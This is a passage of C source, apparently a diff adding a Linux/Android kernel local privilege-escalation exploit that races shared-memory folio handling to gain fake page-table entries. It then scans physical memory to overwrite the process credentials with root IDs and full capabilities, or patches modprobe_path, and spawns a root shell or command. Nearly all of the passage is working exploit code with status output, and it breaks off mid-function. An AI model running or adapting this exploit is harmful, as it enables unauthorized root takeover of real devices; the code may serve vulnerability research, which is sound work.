PTE_PRESENT (1ULL << 0) +#define PTE_RW (1ULL << 1) +#define PTE_USER (1ULL << 2) +#define PTE_ACCESSED (1ULL << 5) +#define PTE_DIRTY (1ULL << 6) +#define PTE_NX (1ULL << 63) +#define USER_PTE_FLAGS (PTE_NX | PTE_DIRTY | PTE_ACCESSED | PTE_USER | PTE_RW | PTE_PRESENT) + +struct physical_range { + unsigned long first_pfn; + unsigned long end_pfn; +}; + +static const struct physical_range physical_ranges[] = { + { 0x100UL, 0xbffd6UL }, + { 0x100000UL, 0x140000UL }, +}; + +#define PHYSICAL_RANGE_COUNT \ + (sizeof(physical_ranges) / sizeof(physical_ranges[0])) + +static atomic_int run_state; +static atomic_int active_workers; +static uid_t target_ruid, target_euid, target_suid, target_fsuid; +static gid_t target_rgid, target_egid, target_sgid, target_fsgid; +static int root_proof_required; +static char post_root_path[128]; +static char modprobe_helper_path[sizeof(MODPROBE_PATH_ORIGINAL)]; +static char modprobe_marker_path[64]; +static atomic_int fault_callers; +static atomic_int fault_release; +static atomic_ulong membarrier_calls; +static _Atomic(char *) fault_addrs[RACE_SOURCE_VIEWS]; +static int sink_fd = -1; +static sigjmp_buf fault_jmp; +static volatile sig_atomic_t fault_guard; + + + +static void fault_signal(int sig) +{ + if (fault_guard) + siglongjmp(fault_jmp, sig); + _exit(128 + sig); +} + +static int safe_read(const volatile unsigned char *p, unsigned char *out) +{ + int sig = sigsetjmp(fault_jmp, 1); + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *out = *p; + fault_guard = 0; + return 0; +} + +static int safe_write(volatile unsigned char *p, unsigned char value) +{ + int sig = sigsetjmp(fault_jmp, 1); + + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *p = value; + fault_guard = 0; + return 0; +} +static int mm_holder_main(void *unused) +{ + uint64_t blocked = ~0ULL; + + (void)unused; + (void)syscall(SYS_prctl, PR_SET_NAME, "xarr-mm-holder", 0, 0, 0); + (void)syscall(SYS_rt_sigprocmask, SIG_SETMASK, &blocked, NULL, + sizeof(blocked)); + for (;;) + (void)syscall(SYS_pause); + return 0; +} + +static pid_t preserve_corrupted_mm(void) +{ + const size_t stack_size = 1024UL * 1024UL; + unsigned char *stack; + pid_t pid; + + stack = mmap(NULL, stack_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (stack == MAP_FAILED) + return -1; + (void)madvise(stack, stack_size, MADV_DONTDUMP); + fflush(NULL); + pid = clone(mm_holder_main, stack + stack_size, CLONE_VM | SIGCHLD, + NULL); + if (pid < 0) { + munmap(stack, stack_size); + return -1; + } + printf("MM_HOLDER pid=%ld state=retaining_corrupted_mm cleanup=reboot_only\n", + (long)pid); + fflush(stdout); + return pid; +} + +static int launch_root_payload(void) +{ + const char *command = getenv("XARR_ROOT_COMMAND"); + const char *shell = getenv("XARR_ROOT_SHELL"); + + if (command != NULL && command[0] != '\0') { + printf("ROOT_PAYLOAD mode=command shell=/bin/sh\n"); + fflush(stdout); + execl("/bin/sh", "sh", "-p", "-c", command, NULL); + perror("exec root command"); + return -1; + } + if (shell != NULL && strcmp(shell, "0") != 0) { + printf("ROOT_PAYLOAD mode=interactive shell=/bin/sh\n"); + fflush(stdout); + execl("/bin/sh", "sh", "-p", NULL); + perror("exec root shell"); + return -1; + } + return 0; +} + +static void *fault_worker(void *arg) +{ + const unsigned int worker = (unsigned int)(uintptr_t)arg; + timer_t race_timers[RACE_TIMERS_PER_WORKER > 0 ? + RACE_TIMERS_PER_WORKER : 1] = { 0 }; + + if (RACE_PIN_WORKERS) { + cpu_set_t set; + long cpus = sysconf(_SC_NPROCESSORS_ONLN); + unsigned int fault_cpus = + cpus > 2 && RACE_MEMBARRIER_WORKERS > 0 ? + (unsigned int)(cpus - 2) : + (cpus > 1 ? (unsigned int)(cpus - 1) : 1U); + unsigned int cpu = cpus > 1 ? + 1U + worker % fault_cpus : 0U; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) + _exit(2); + } + if (RACE_TIMER_NS > 0) { + struct sigevent event; + struct itimerspec interval; + struct timespec start; + sigset_t blocked; + int signo = SIGRTMIN + 3; + + sigemptyset(&blocked); + sigaddset(&blocked, signo); + if (pthread_sigmask(SIG_BLOCK, &blocked, NULL) != 0) + _exit(2); + memset(&event, 0, sizeof(event)); + event.sigev_notify = SIGEV_THREAD_ID; + event.sigev_signo = signo; + event._sigev_un._tid = (pid_t)syscall(SYS_gettid); + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) { + if (timer_create(CLOCK_MONOTONIC, &event, + &race_timers[timer]) != 0) + _exit(2); + } + if (clock_gettime(CLOCK_MONOTONIC, &start) != 0) + _exit(2); + start.tv_nsec += 1000000L; + if (start.tv_nsec >= 1000000000L) { + start.tv_sec++; + start.tv_nsec -= 1000000000L; + } + memset(&interval, 0, sizeof(interval)); + interval.it_value = start; + interval.it_interval.tv_sec = RACE_TIMER_NS / 1000000000UL; + interval.it_interval.tv_nsec = RACE_TIMER_NS % 1000000000UL; + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) { + if (timer_settime(race_timers[timer], TIMER_ABSTIME, + &interval, NULL) != 0) + _exit(2); + } + } + for (;;) { + char *p; + int state; + + do { + state = atomic_load_explicit(&run_state, memory_order_acquire); + if (state == 0) + sched_yield(); + } while (state == 0); + if (state == 2) + break; + + atomic_fetch_add_explicit(&active_workers, 1, memory_order_acq_rel); + if (atomic_load_explicit(&run_state, memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + continue; + } + p = atomic_load_explicit(&fault_addrs[worker % RACE_SOURCE_VIEWS], + memory_order_acquire); + if (STARTUP_WAIT_ALL_WORKERS) { + while (atomic_load_explicit(&run_state, + memory_order_acquire) == 1 && + atomic_load_explicit(&fault_release, + memory_order_acquire) == 0) + sched_yield(); + if (atomic_load_explicit(&run_state, + memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, + memory_order_acq_rel); + continue; + } + } + while (atomic_load_explicit(&run_state, memory_order_relaxed) == 1) { + ssize_t n; + + atomic_fetch_add_explicit(&fault_callers, 1, memory_order_acq_rel); + n = pwrite(sink_fd, p, 1, 0); + atomic_fetch_sub_explicit(&fault_callers, 1, memory_order_acq_rel); + (void)madvise(p, SOURCE_SIZE, MADV_DONTNEED); + (void)n; + } + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + } + if (RACE_TIMER_NS > 0) { + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) + (void)timer_delete(race_timers[timer]); + } + return NULL; +} + +static void *membarrier_worker(void *arg) +{ + (void)arg; + if (RACE_PIN_WORKERS) { + cpu_set_t set; + long cpus = sysconf(_SC_NPROCESSORS_ONLN); + unsigned int cpu = cpus > 1 ? (unsigned int)(cpus - 1) : 0U; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) + _exit(2); + } + for (;;) { + int state = atomic_load_explicit(&run_state, memory_order_acquire); + + if (state == 2) + break; + if (state != 1) { + sched_yield(); + continue; + } + (void)syscall(SYS_membarrier, + MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0); + atomic_fetch_add_explicit(&membarrier_calls, 1, + memory_order_relaxed); + } + return NULL; +} + +static int prepare_large_shmem_folio(int fd) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + int rc; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return -1; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE)); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return -1; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + rc = -1; + for (unsigned int attempt = 0; + attempt < RACE_COLLAPSE_ATTEMPTS; attempt++) { + errno = 0; + rc = madvise(mapping, PMD_SIZE, MADV_COLLAPSE); + if (rc == 0 || (errno != EAGAIN && errno != EBUSY)) + break; + sched_yield(); + } + if (rc != 0) + fprintf(stderr, "MADV_COLLAPSE attempts=%u errno=%d (%s)\n", + RACE_COLLAPSE_ATTEMPTS, errno, strerror(errno)); + munmap(reservation, 2 * PMD_SIZE); + return rc; +} + +static unsigned char *prepare_order0_shmem_folio(int fd, + void **reservation_out) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return MAP_FAILED; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE)); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + if (madvise(mapping, PMD_SIZE, MADV_NOHUGEPAGE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + if (madvise(mapping, PMD_SIZE, MADV_HUGEPAGE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + *reservation_out = reservation; + return mapping; +} + +static void fill_fake_ptes(uint64_t *alias, uint64_t base_pfn, uint64_t stride) +{ + unsigned long i; + unsigned long entries = FAKE_PT_PAGES * (PAGE_SIZE / sizeof(uint64_t)); + + for (i = 0; i < entries; i++) + alias[i] = ((base_pfn + i * stride) << 12) | USER_PTE_FLAGS; + atomic_thread_fence(memory_order_seq_cst); +} + +static int remap_physical_window(uint64_t *alias, uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + fill_fake_ptes(alias, base_pfn, 1); + if (mprotect((void *)fake_base, mapped_bytes, PROT_READ) != 0 || + mprotect((void *)fake_base, mapped_bytes, + PROT_READ | PROT_WRITE) != 0) + return -1; + return 0; +} + +static int prepare_modprobe_helper(void) +{ + char target[64]; + struct stat st; + + if (snprintf(target, sizeof(target), "/proc/%ld/exe", + (long)getpid()) >= (int)sizeof(target)) + return -1; + for (unsigned int attempt = 0; attempt < 256; attempt++) { + unsigned int suffix = ((unsigned int)getpid() + attempt) & 0xffU; + + if (snprintf(modprobe_helper_path, + sizeof(modprobe_helper_path), "/tmp/x%02x", + suffix) >= (int)sizeof(modprobe_helper_path) || + snprintf(modprobe_marker_path, + sizeof(modprobe_marker_path), "%s.marker", + modprobe_helper_path) >= + (int)sizeof(modprobe_marker_path)) + return -1; + if (lstat(modprobe_helper_path, &st) == 0 || errno != ENOENT) + continue; + if (lstat(modprobe_marker_path, &st) == 0 || errno != ENOENT) + continue; + if (symlink(target, modprobe_helper_path) == 0) { + printf("MODPROBE_HELPER_PREPARED path=%s target=%s marker=%s\n", + modprobe_helper_path, target, + modprobe_marker_path); + fflush(stdout); + return 0; + } + } + modprobe_helper_path[0] = '\0'; + modprobe_marker_path[0] = '\0'; + return -1; +} + +static void cleanup_modprobe_helper(void) +{ + if (modprobe_helper_path[0] == '\0') + return; + if (unlink(modprobe_helper_path) == 0) + printf("MODPROBE_HELPER_CLEANUP path=%s removed=1\n", + modprobe_helper_path); + else + printf("MODPROBE_HELPER_CLEANUP path=%s removed=0 errno=%d\n", + modprobe_helper_path, errno); + fflush(stdout); + modprobe_helper_path[0] = '\0'; +} + +static int create_root_marker(void) +{ + static const char payload[] = POST_ROOT_TEXT; + int fd = open(modprobe_marker_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, + 0400); + + if (fd < 0) + return -1; + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + return close(fd); +} + +static int root_marker_exists(void) +{ + struct stat st = { 0 }; + + return lstat(modprobe_marker_path, &st) == 0 && + st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400; +} + +static int trigger_modprobe(void) +{ + static const unsigned char unknown_format[] = { 0xff, 0xff, 0xff, 0xff }; + pid_t child; + int fd; + int status = 0; + + fd = open(MODPROBE_TRIGGER_PATH, + O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC | O_NOFOLLOW, 0700); + if (fd < 0) + return -1; + if (fchmod(fd, 0700) != 0 || + write(fd, unknown_format, sizeof(unknown_format)) != + (ssize_t)sizeof(unknown_format) || + close(fd) != 0) + return -1; + + child = fork(); + if (child == 0) { + execl(MODPROBE_TRIGGER_PATH, MODPROBE_TRIGGER_PATH, NULL); + _exit(errno == ENOEXEC ? 0 : 126); + } + if (child < 0 || waitpid(child, &status, 0) < 0) + return -1; + (void)unlink(MODPROBE_TRIGGER_PATH); + if (!root_marker_exists()) + return -1; + printf("MODPROBE_ROOT_MARKER uid=0 gid=0 mode=0400 child_status=%d\n", + WIFEXITED(status) ? WEXITSTATUS(status) : -1); + fflush(stdout); + return 0; +} + +static int patch_modprobe_path(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + static const unsigned char original[] = MODPROBE_PATH_ORIGINAL; + unsigned char replacement[sizeof(original)] = { 0 }; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + unsigned long candidates = 0; + + if (modprobe_helper_path[0] == '\0') + return -1; + memcpy(replacement, modprobe_helper_path, + strlen(modprobe_helper_path)); + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long offset = 0; + offset + sizeof(original) <= PAGE_SIZE; + offset++) { + unsigned char saved[sizeof(original)]; + volatile unsigned char *candidate = page_base + offset; + + if (memcmp((const void *)candidate, original, + sizeof(original)) != 0) + continue; + candidates++; + for (unsigned long i = 0; i < sizeof(saved); i++) { + saved[i] = candidate[i]; + candidate[i] = replacement[i]; + } + atomic_thread_fence(memory_order_seq_cst); + printf("MODPROBE_PATH_CANDIDATE pfn=%#lx page_offset=%#lx candidate=%lu\n", + base_pfn + page, offset, candidates); + fflush(stdout); + { + int trigger_rc = trigger_modprobe(); + + for (unsigned long i = 0; i < sizeof(saved); i++) + candidate[i] = saved[i]; + atomic_thread_fence(memory_order_seq_cst); + if (trigger_rc == 0) { + printf("MODPROBE_PATH_PATCH selected=1 restored=1 pfn=%#lx page_offset=%#lx replacement=%s\n", + base_pfn + page, offset, + modprobe_helper_path); + fflush(stdout); + return 0; + } + } + } + } + printf("MODPROBE_PATH_SCAN base_pfn=%#lx bytes=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, candidates); + fflush(stdout); + return -1; +} + + +static void *reserve_layout(uintptr_t *root_out) +{ + static const uintptr_t roots[] = { + 0x400000000000ULL, 0x3f8000000000ULL, + 0x300000000000ULL, 0x200000000000ULL + }; + unsigned int i; + + for (i = 0; i < sizeof(roots) / sizeof(roots[0]); i++) { + void *p = mmap((void *)roots[i], + LAYOUT_CANDIDATES * PUD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, + -1, 0); + if (p != MAP_FAILED) { + *root_out = roots[i]; + return p; + } + } + return MAP_FAILED; +} + +static int touch_file_byte(const char *p) +{ + char byte; + return pread(sink_fd, &byte, 1, 0) == 1 && pwrite(sink_fd, p, 1, 0) == 1 ? 0 : -1; +} + + + +static int patch_current_credentials(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + enum { + CRED_USAGE_OFFSET = 0, + CRED_IDS_OFFSET = 4, + CRED_SECUREBITS_OFFSET = 36, + CRED_CAP_INHERITABLE_OFFSET = 40, + CRED_CAP_PERMITTED_OFFSET = 48, + CRED_CAP_EFFECTIVE_OFFSET = 56, + CRED_CAP_BSET_OFFSET = 64, + CRED_CAP_AMBIENT_OFFSET = 72, + CRED_SECURITY_OFFSET = 120, + CRED_SIZE = 176, + }; + const uint32_t expected_ids[8] = { + target_ruid, target_rgid, target_suid, target_sgid, + target_euid, target_egid, target_fsuid, target_fsgid, + }; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + unsigned long candidates = 0; + unsigned long id_matches = 0; + + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long offset = 0; + offset + CRED_SIZE <= PAGE_SIZE; offset += sizeof(uint64_t)) { + volatile unsigned char *cred = page_base + offset; + uint32_t saved_ids[8]; + uint32_t saved_securebits; + uint64_t saved_permitted, saved_effective; + uint64_t security; + uint32_t usage; + unsigned int id; + + for (id = 0; id < 8; id++) { + if (*(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)) != expected_ids[id]) + break; + } + if (id != 8) + continue; + id_matches++; + usage = *(volatile uint32_t *)(cred + CRED_USAGE_OFFSET); + security = *(volatile uint64_t *)(cred + + CRED_SECURITY_OFFSET); + if (usage == 0 || usage > 0x100000 || + *(volatile uint64_t *) + (cred + CRED_CAP_INHERITABLE_OFFSET) != 0 || + *(volatile uint64_t *) + (cred + CRED_CAP_PERMITTED_OFFSET) != 0 || + *(volatile uint64_t *) + (cred + CRED_CAP_EFFECTIVE_OFFSET) != 0 || + *(volatile uint64_t *) + (cred + CRED_CAP_AMBIENT_OFFSET) != 0 || + (security >> 48) != 0xffff) + continue; + + candidates++; + printf("CRED_CANDIDATE layout=android-6.1-btf pfn=%#lx page_offset=%#lx usage=%u bset=%#llx ambient=%#llx security=%#llx\n", + base_pfn + page, offset, usage, + (unsigned long long)*(volatile uint64_t *) + (cred + CRED_CAP_BSET_OFFSET), + (unsigned long long)*(volatile uint64_t *) + (cred + CRED_CAP_AMBIENT_OFFSET), + (unsigned long long)security); + for (id = 0; id < 8; id++) + saved_ids[id] = *(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)); + saved_securebits = *(volatile uint32_t *) + (cred + CRED_SECUREBITS_OFFSET); + saved_permitted = *(volatile uint64_t *) + (cred + CRED_CAP_PERMITTED_OFFSET); + saved_effective = *(volatile uint64_t *) + (cred + CRED_CAP_EFFECTIVE_OFFSET); + for (id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)) = 0; + *(volatile uint32_t *)(cred + CRED_SECUREBITS_OFFSET) = 0; + *(volatile uint64_t *)(cred + CRED_CAP_PERMITTED_OFFSET) = + CAP_VALID_MASK_7_1; + *(volatile uint64_t *)(cred + CRED_CAP_EFFECTIVE_OFFSET) = + CAP_VALID_MASK_7_1; + atomic_thread_fence(memory_order_seq_cst); + + if (getuid() == 0 && geteuid() == 0) { + printf("CRED_SCAN layout=android-6.1-btf base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=1\n", + base_pfn, mapped_bytes, id_matches, + candidates); + printf("CRED_PATCH layout=android-6.1-btf pfn=%#lx page_offset=%#lx permitted=%#llx effective=%#llx\n", + base_pfn + page, offset, + (unsigned long long)CAP_VALID_MASK_7_1, + (unsigned long long)CAP_VALID_MASK_7_1); + fflush(stdout); + return 0; + } + + for (id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)) = saved_ids[id]; + *(volatile uint32_t *)(cred + CRED_SECUREBITS_OFFSET) = + saved_securebits; + *(volatile uint64_t *)(cred + CRED_CAP_PERMITTED_OFFSET) = + saved_permitted; + *(volatile uint64_t *)(cred + CRED_CAP_EFFECTIVE_OFFSET) = + saved_effective; + atomic_thread_fence(memory_order_seq_cst); + } + } + + printf("CRED_SCAN layout=android-6.1-btf base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, id_matches, candidates); + fflush(stdout); + return -1; +} + +static int read_proc_fs_ids(uid_t *fsuid, gid_t *fsgid) +{ + char line[256]; + unsigned int real_id, effective_id, saved_id, filesystem_id; + int have_uid = 0; + int have_gid = 0; + FILE *status = fopen("/proc/self/status", "re"); + + if (status == NULL) + return -1; + while (fgets(line, sizeof(line), status) != NULL) { + if (!have_uid && + sscanf(line, "Uid:\t%u\t%u\t%u\t%u", + &real_id, &effective_id, &saved_id, + &filesystem_id) == 4) { + *fsuid = (uid_t)filesystem_id; + have_uid = 1; + } else if (!have_gid && + sscanf(line, "Gid:\t%u\t%u\t%u\t%u", + &real_id, &effective_id, &saved_id, + &filesystem_id) == 4) { + *fsgid = (gid_t)filesystem_id; + have_gid = 1; + } + if (have_uid && have_gid) + break; + } + fclose(status); + return have_uid && have_gid ? 0 : -1; +} + +static int prove_root_identity(void) +{ + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + uid_t ruid = (uid_t)-1, euid = (uid_t)-1, suid = (uid_t)-1; + gid_t rgid = (gid_t)-1, egid = (gid_t)-1, sgid = (gid_t)-1; + uid_t fsuid = (uid_t)-1; + gid_t fsgid = (gid_t)-1; + char proof[64] = { 0 }; + uint64_t effective; + int fd; + ssize_t n; + int cap_rc; + + int identity_rc; + + identity_rc = getresuid(&ruid, &euid, &suid) != 0 || + getresgid(&rgid, &egid, &sgid) != 0 || + read_proc_fs_ids(&fsuid, &fsgid) != 0; + cap_rc = (int)syscall(SYS_capget, &hdr, caps); + effective = ((uint64_t)caps[1].effective << 32) | caps[0].effective; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, proof, sizeof(proof) - 1) : -1; + if (fd >= 0) + close(fd); + printf("ROOT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u fsuid=%u fsgid=%u identity_rc=%d capget_rc=%d cap_effective=%#llx\n", + ruid, euid, suid, rgid, egid, sgid, fsuid, fsgid, + identity_rc, cap_rc, (unsigned long long)effective); + printf("ROOT_PROOF required=%d open=%d read=%ld data=%.*s\n", + root_proof_required, fd >= 0, (long)n, + n > 0 ? (int)n : 0, proof); + fflush(stdout); + return identity_rc == 0 && + ruid == 0 && euid == 0 && suid == 0 && + rgid == 0 && egid == 0 && sgid == 0 && + fsuid == 0 && fsgid == 0 && cap_rc == 0 && + (effective & ROOT_REQUIRED_CAPS) == ROOT_REQUIRED_CAPS && + (!root_proof_required || + (n == (ssize_t)strlen(ROOT_PROOF_TEXT) && + memcmp(proof, ROOT_PROOF_TEXT, strlen(ROOT_PROOF_TEXT)) == 0)) ? + 0 : -1; +} + +static int prove_post_root_create(void) +{ + static const char payload[] = POST_ROOT_TEXT; + char observed[64] = { 0 }; + struct stat st = { 0 }; + int fd; + ssize_t n; + + fd = open(post_root_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, 0400); + if (fd < 0) { + printf("POST_ROOT_CREATE path=%s created=0 errno=%d (%s)\n", + post_root_path, errno, strerror(errno)); + return -1; + } + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + if (close(fd) != 0) + return -1; + + fd = open(post_root_path, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, observed, sizeof(observed) - 1) : -1; + if (fd >= 0) + close(fd); + if (lstat(post_root_path, &st) != 0) + return -1; + printf("POST_ROOT_CREATE path=%s created=1 uid=%u gid=%u mode=%#o read=%ld data=%.*s\n", + post_root_path, st.st_uid, st.st_gid, st.st_mode & 07777, + (long)n, n > 0 ? (int)n : 0, observed); + fflush(stdout); + return st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400 && + n == (ssize_t)strlen(POST_ROOT_TEXT) && + memcmp(observed, POST_ROOT_TEXT, strlen(POST_ROOT_TEXT)) == 0 ? + 0 : -1; +} + +static int run_exploit(int rounds) +{ + pthread_t threads[FAULT_THREADS]; + pthread_t membarrier_threads[RACE_MEMBARRIER_WORKERS > 0 ? + RACE_MEMBARRIER_WORKERS : 1]; + uintptr_t root; + uintptr_t candidate_roots[LAYOUT_CANDIDATES]; + uintptr_t source_bases[LAYOUT_CANDIDATES]; + uintptr_t fake_bases[LAYOUT_CANDIDATES]; + void *layout; + char *dummies[LAYOUT_CANDIDATES]; + char *marker, *tlb_flush_pad; + cpu_set_t groom_saved_set; + int groom_cpu = -1; + int groom_fd = -1; + int i; + int success = 0; + int winning_fd = -1; + uint64_t *winning_alias = MAP_FAILED; + unsigned long mapped_bytes = 0; + uintptr_t winning_fake_base = 0; + unsigned long winning_pmds = 0; + char *winning_source = MAP_FAILED; + unsigned long mutation_failures = 0; + struct sigaction sa = { .sa_handler = fault_signal }; + + if (getresuid(&target_ruid, &target_euid, &target_suid) != 0 || + getresgid(&target_rgid, &target_egid, &target_sgid) != 0 || + read_proc_fs_ids(&target_fsuid, &target_fsgid) != 0) { + perror("capture identity"); + return 2; + } + if (target_ruid == 0 || target_euid == 0 || target_suid == 0 || + target_rgid == 0 || target_egid == 0 || target_sgid == 0 || + target_fsuid == 0 || target_fsgid == 0) { + fprintf(stderr, "EXPLOIT_REFUSED privileged initial identity\n"); + return 2; + } + (void)prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); + (void)prctl(PR_SET_DUMPABLE, 1, 0, 0, 0); + (void)prctl(PR_SET_NAME, "xarr-lpe-main", 0, 0, 0); + printf("EXPLOIT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u fsuid=%u fsgid=%u nnp=%d\n", + target_ruid, target_euid, target_suid, + target_rgid, target_egid, target_sgid, + target_fsuid, target_fsgid, + prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); + fflush(stdout); + { + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + int rc = (int)syscall(SYS_capget, &hdr, caps); + uint64_t effective = ((uint64_t)caps[1].effective << 32) | + caps[0].effective; + + printf("EXPLOIT_CAPS capget_rc=%d effective=%#llx\n", rc, + (unsigned long long)effective); + fflush(stdout); + } + { + int fd; + int saved_errno; + + errno = 0; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + saved_errno = errno; + root_proof_required = + getenv("XARR_REQUIRE_ROOT_PROOF") != NULL; + printf("PRE_ROOT_PROOF required=%d open=%d errno=%d (%s)\n", + root_proof_required, fd >= 0, saved_errno, + strerror(saved_errno)); + fflush(stdout); + if (fd >= 0) { + close(fd); + return 2; + } + } + + memset(&sa.sa_mask, 0, sizeof(sa.sa_mask)); + sa.sa_flags = SA_NODEFER; + sigaction(SIGSEGV, &sa, NULL); + sigaction(SIGBUS, &sa, NULL); + + sink_fd = (int)syscall(SYS_memfd_create, "xarray-sink", MFD_CLOEXEC); + groom_fd = (int)syscall(SYS_memfd_create, "xarray-groom", MFD_CLOEXEC); + if (sink_fd < 0 || groom_fd < 0 || ftruncate(sink_fd, PAGE_SIZE) != 0 || + ftruncate(groom_fd, PAGE_SIZE) != 0) { + perror("prepare grooming files"); + return 2; + } + if (pwrite(groom_fd, "G", 1, 0) != 1) { + perror("populate grooming file"); + return 2; + } + + marker = mmap(NULL, MARKER_PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (marker == MAP_FAILED) { + perror("marker mmap"); + return 2; + } + (void)madvise(marker, MARKER_PAGES * PAGE_SIZE, MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < MARKER_PAGES; page++) { + unsigned char *p = (unsigned char *)marker + page * PAGE_SIZE; + memcpy(p, MARKER_MAGIC, sizeof(MARKER_MAGIC)); + memcpy(p + 32, &page, sizeof(page)); + p[128] = (unsigned char)(page ^ 0x5a); + } + printf("MARKER_SPRAY pages=%lu bytes=%lu\n", MARKER_PAGES, + MARKER_PAGES * PAGE_SIZE); + tlb_flush_pad = mmap(NULL, TLB_FLUSH_PAGES * PAGE_SIZE, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (tlb_flush_pad == MAP_FAILED) { + perror("tlb flush pad mmap"); + return 2; + } + (void)madvise(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < TLB_FLUSH_PAGES; page++) + tlb_flush_pad[page * PAGE_SIZE] = 0; + if ((RACE_MEMBARRIER_SHOTS > 0 || RACE_MEMBARRIER_WORKERS > 0) && + syscall(SYS_membarrier, + MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED, 0, 0) != 0) { + perror("register private expedited membarrier"); + return 2; + } + + if (RACE_PIN_WORKERS) { + cpu_set_t set; + + 